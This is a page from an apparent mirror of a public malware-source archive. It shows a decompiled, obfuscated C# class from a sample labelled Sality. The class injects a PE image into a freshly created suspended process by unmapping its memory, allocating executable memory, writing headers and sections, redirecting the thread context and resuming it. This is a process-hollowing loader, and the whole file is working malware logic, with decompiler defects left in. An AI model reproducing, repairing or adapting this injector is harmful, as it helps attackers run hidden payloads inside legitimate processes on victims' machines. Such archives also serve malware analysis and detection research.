mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
292 lines
10 KiB
C#
292 lines
10 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
|
||
|
||
using \u0006;
|
||
using \u0007;
|
||
using \u0008;
|
||
using SmartAssembly.SmartExceptionsCore;
|
||
using System;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace \u0006
|
||
{
|
||
internal sealed class \u0006 : \u0001
|
||
{
|
||
private \u0006.\u0006.\u0006 \u0001;
|
||
private \u0006.\u0006.\u0005 \u0001;
|
||
private \u0006.\u0006.\u0001 \u0001;
|
||
private \u0006.\u0006.\u0004 \u0001;
|
||
private \u0006.\u0006.\u0002 \u0001;
|
||
private \u0006.\u0006.\u0003 \u0001;
|
||
private \u0006.\u0006.\u0007 \u0001;
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
public \u0006()
|
||
{
|
||
\u0003.\u0003();
|
||
// ISSUE: explicit constructor call
|
||
base.\u002Ector();
|
||
object[] objArray1;
|
||
object[] objArray2;
|
||
object[] objArray3;
|
||
object[] objArray4;
|
||
object[] objArray5;
|
||
object[] objArray6;
|
||
object[] objArray7;
|
||
try
|
||
{
|
||
\u0005.\u0001 = (\u0001) new \u0001();
|
||
\u0001 obj1 = \u0005.\u0001;
|
||
objArray1 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(0),
|
||
(object) \u0002.\u0003(20),
|
||
(object) typeof (\u0006.\u0006.\u0006)
|
||
};
|
||
object[] objArray8 = objArray1;
|
||
this.\u0001 = (\u0006.\u0006.\u0006) obj1.\u0003(objArray8);
|
||
\u0001 obj2 = \u0005.\u0001;
|
||
objArray2 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(52),
|
||
(object) \u0002.\u0003(72),
|
||
(object) typeof (\u0006.\u0006.\u0005)
|
||
};
|
||
object[] objArray9 = objArray2;
|
||
this.\u0001 = (\u0006.\u0006.\u0005) obj2.\u0003(objArray9);
|
||
\u0001 obj3 = \u0005.\u0001;
|
||
objArray3 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(104),
|
||
(object) \u0002.\u0003(118),
|
||
(object) typeof (\u0006.\u0006.\u0001)
|
||
};
|
||
object[] objArray10 = objArray3;
|
||
this.\u0001 = (\u0006.\u0006.\u0001) obj3.\u0003(objArray10);
|
||
\u0001 obj4 = \u0005.\u0001;
|
||
objArray4 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(162),
|
||
(object) \u0002.\u0003(176),
|
||
(object) typeof (\u0006.\u0006.\u0004)
|
||
};
|
||
object[] objArray11 = objArray4;
|
||
this.\u0001 = (\u0006.\u0006.\u0004) obj4.\u0003(objArray11);
|
||
\u0001 obj5 = \u0005.\u0001;
|
||
objArray5 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(220),
|
||
(object) \u0002.\u0003(234),
|
||
(object) typeof (\u0006.\u0006.\u0002)
|
||
};
|
||
object[] objArray12 = objArray5;
|
||
this.\u0001 = (\u0006.\u0006.\u0002) obj5.\u0003(objArray12);
|
||
\u0001 obj6 = \u0005.\u0001;
|
||
objArray6 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(274),
|
||
(object) \u0002.\u0003(288),
|
||
(object) typeof (\u0006.\u0006.\u0003)
|
||
};
|
||
object[] objArray13 = objArray6;
|
||
this.\u0001 = (\u0006.\u0006.\u0003) obj6.\u0003(objArray13);
|
||
\u0001 obj7 = \u0005.\u0001;
|
||
objArray7 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(328),
|
||
(object) \u0002.\u0003(342),
|
||
(object) typeof (\u0006.\u0006.\u0007)
|
||
};
|
||
object[] objArray14 = objArray7;
|
||
this.\u0001 = (\u0006.\u0006.\u0007) obj7.\u0003(objArray14);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object[] objArray15 = objArray1;
|
||
object[] objArray16 = objArray2;
|
||
object[] objArray17 = objArray3;
|
||
object[] objArray18 = objArray4;
|
||
object[] objArray19 = objArray5;
|
||
object[] objArray20 = objArray6;
|
||
object[] objArray21 = objArray7;
|
||
throw UnhandledException.\u0003(ex, (object) objArray15, (object) objArray16, (object) objArray17, (object) objArray18, (object) objArray19, (object) objArray20, (object) objArray21, (object) this);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
public override unsafe object \u0003([In] object[] obj0)
|
||
{
|
||
byte[] numArray1;
|
||
int[] numArray2;
|
||
byte[] dst1;
|
||
byte[] dst2;
|
||
byte[] dst3;
|
||
char ch;
|
||
string str;
|
||
int srcOffset;
|
||
int num1;
|
||
ushort num2;
|
||
try
|
||
{
|
||
dst1 = new byte[64];
|
||
dst2 = new byte[248];
|
||
dst3 = new byte[40];
|
||
numArray1 = new byte[716];
|
||
numArray2 = new int[4];
|
||
fixed (byte* numPtr = &dst1[0])
|
||
;
|
||
fixed (byte* numPtr = &dst2[0])
|
||
;
|
||
fixed (byte* numPtr = &dst3[0])
|
||
;
|
||
fixed (byte* numPtr = &numArray1[0])
|
||
;
|
||
ch = Convert.ToChar(32);
|
||
str = string.Join(ch.ToString(), (string[]) obj0[1]);
|
||
// ISSUE: fixed variable is out of scope
|
||
*(int*) numPtr = 65543;
|
||
Buffer.BlockCopy((Array) obj0[0], 0, (Array) dst1, 0, dst1.Length);
|
||
// ISSUE: fixed variable is out of scope
|
||
srcOffset = *(int*) (numPtr + 60);
|
||
Buffer.BlockCopy((Array) obj0[0], srcOffset, (Array) dst2, 0, dst2.Length);
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
if (*(uint*) numPtr != 17744U || *(ushort*) numPtr != (ushort) 23117)
|
||
return (object) null;
|
||
// ISSUE: fixed variable is out of scope
|
||
num1 = *(int*) (numPtr + 52);
|
||
if (!this.\u0001((string) obj0[2], str, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, (string) null, new byte[68], numArray2))
|
||
return (object) null;
|
||
int num3 = (int) this.\u0001((IntPtr) numArray2[0], (IntPtr) num1);
|
||
// ISSUE: fixed variable is out of scope
|
||
if (this.\u0001((IntPtr) numArray2[0], (IntPtr) num1, *(uint*) (numPtr + 80), 12288U, 64U) == IntPtr.Zero)
|
||
base.\u0003(obj0);
|
||
fixed (byte* numPtr = &((byte[]) obj0[0])[0])
|
||
{
|
||
// ISSUE: fixed variable is out of scope
|
||
int num4 = this.\u0001((IntPtr) numArray2[0], (IntPtr) num1, (IntPtr) (void*) numPtr, *(uint*) (numPtr + 84), IntPtr.Zero);
|
||
}
|
||
// ISSUE: fixed variable is out of scope
|
||
for (num2 = (ushort) 0; (int) num2 < (int) *(ushort*) (numPtr + 6); ++num2)
|
||
{
|
||
Buffer.BlockCopy((Array) obj0[0], srcOffset + dst2.Length + dst3.Length * (int) num2, (Array) dst3, 0, dst3.Length);
|
||
// ISSUE: fixed variable is out of scope
|
||
fixed (byte* numPtr = &((byte[]) obj0[0])[(IntPtr) *(uint*) (numPtr + 20)])
|
||
{
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
int num5 = this.\u0001((IntPtr) numArray2[0], (IntPtr) ((long) num1 + (long) *(uint*) (numPtr + 12)), (IntPtr) (void*) numPtr, *(uint*) (numPtr + 16), IntPtr.Zero);
|
||
}
|
||
}
|
||
// ISSUE: fixed variable is out of scope
|
||
int num6 = this.\u0001((IntPtr) numArray2[1], (IntPtr) (void*) numPtr);
|
||
fixed (byte* numPtr = &BitConverter.GetBytes(num1)[0])
|
||
{
|
||
// ISSUE: fixed variable is out of scope
|
||
int num7 = this.\u0001((IntPtr) numArray2[0], (IntPtr) (long) (*(uint*) (numPtr + 164) + 8U), (IntPtr) (void*) numPtr, 4U, IntPtr.Zero);
|
||
}
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
*(int*) (numPtr + 176) = num1 + (int) *(uint*) (numPtr + 40);
|
||
// ISSUE: fixed variable is out of scope
|
||
int num8 = this.\u0001((IntPtr) numArray2[1], (IntPtr) (void*) numPtr);
|
||
int num9 = (int) this.\u0001((IntPtr) numArray2[1], IntPtr.Zero);
|
||
return (object) null;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
object[] objArray = new object[23]
|
||
{
|
||
(object) dst1,
|
||
(object) dst2,
|
||
(object) dst3,
|
||
(object) numArray1,
|
||
(object) numArray2,
|
||
(object) (int) numPtr,
|
||
(object) ^(byte&) numPtr,
|
||
(object) (int) numPtr,
|
||
(object) ^(byte&) numPtr,
|
||
(object) (int) numPtr,
|
||
(object) ^(byte&) numPtr,
|
||
(object) (int) numPtr,
|
||
(object) ^(byte&) numPtr,
|
||
(object) str,
|
||
(object) srcOffset,
|
||
(object) num1,
|
||
(object) ^(byte&) numPtr,
|
||
(object) num2,
|
||
(object) ^(byte&) numPtr,
|
||
(object) ^(byte&) numPtr,
|
||
(object) ch,
|
||
(object) this,
|
||
(object) obj0
|
||
};
|
||
throw UnhandledException.\u0003(ex, objArray);
|
||
}
|
||
}
|
||
|
||
private delegate uint \u0001(IntPtr _param1, IntPtr _param2);
|
||
|
||
private delegate int \u0002(IntPtr _param1, IntPtr _param2);
|
||
|
||
private delegate int \u0003(IntPtr _param1, IntPtr _param2);
|
||
|
||
private delegate int \u0004(
|
||
IntPtr _param1,
|
||
IntPtr _param2,
|
||
IntPtr _param3,
|
||
uint _param4,
|
||
IntPtr _param5);
|
||
|
||
private delegate IntPtr \u0005(
|
||
IntPtr _param1,
|
||
IntPtr _param2,
|
||
uint _param3,
|
||
uint _param4,
|
||
uint _param5);
|
||
|
||
private delegate bool \u0006(
|
||
string _param1,
|
||
string _param2,
|
||
IntPtr _param3,
|
||
IntPtr _param4,
|
||
bool _param5,
|
||
uint _param6,
|
||
IntPtr _param7,
|
||
string _param8,
|
||
byte[] _param9,
|
||
int[] _param10);
|
||
|
||
private delegate uint \u0007(IntPtr _param1, IntPtr _param2);
|
||
}
|
||
}
|